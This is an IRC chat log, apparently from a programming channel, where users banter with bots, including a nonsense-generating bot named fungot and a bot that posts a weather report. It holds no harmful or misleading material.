23:30:10 <fungot> int-e: if you put your call-,with-* hack for scheme-mode? ( values 1 2 ' ( a b) a) you had a test that needed to change
23:30:42 * boily ought to reinstantiate his bot >_>'...
23:30:53 <int-e> fungot: you disappoint.
23:30:53 <fungot> int-e: because what you pasted... :)
23:31:09 <int-e> fungot: sure, blame me...
23:31:52 <HackEgo> metasepia knew the weather at your nearest airport, and also something about ducks.
23:32:25 <lambdabot> LOWI 302320Z AUTO VRB02KT 9999 FEW006 OVC170 01/01 Q1022
23:32:29 * boily mapoles fungot “don't make int-e cry”
23:32:30 <fungot> boily: http://www.zug.com/ pranks/ fnord funnier than i remember it being very hard to find locally right now.
23:32:52 <int-e> I think we've hit a mean streak
23:32:53 <boily> irctc878: also, what are your approximate geographic coördinates?
23:33:07 <boily> fizzie: please chastise your bot hth
23:33:56 <fizzie> fungot: Try to behave.
23:34:03 <fizzie> fungot: That's not what I meant.
23:34:03 <fungot> fizzie: fnord country do you have a finite amount of space
23:34:37 <fizzie> fungot: Yes, it's pretty finite.
23:34:38 <fungot> fizzie: i just wish there was a definition that is as interesting as machines that can use class inheritance' as i did
23:35:53 <int-e> fungot: do you like machines?
23:35:53 <fungot> int-e: so what do you mean in cases where i want to make my website center on ie as well as customizable style, highlighting, and xscheme.el uses unix-specific features unavailable on windows.
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23:37:50 <irctc878> boily: my approximate geographical coordinates are a couple of miles north and a couple of miles west. I hope this helps.
23:40:20 <boily> that fits exactly with the spirit of the chännel.
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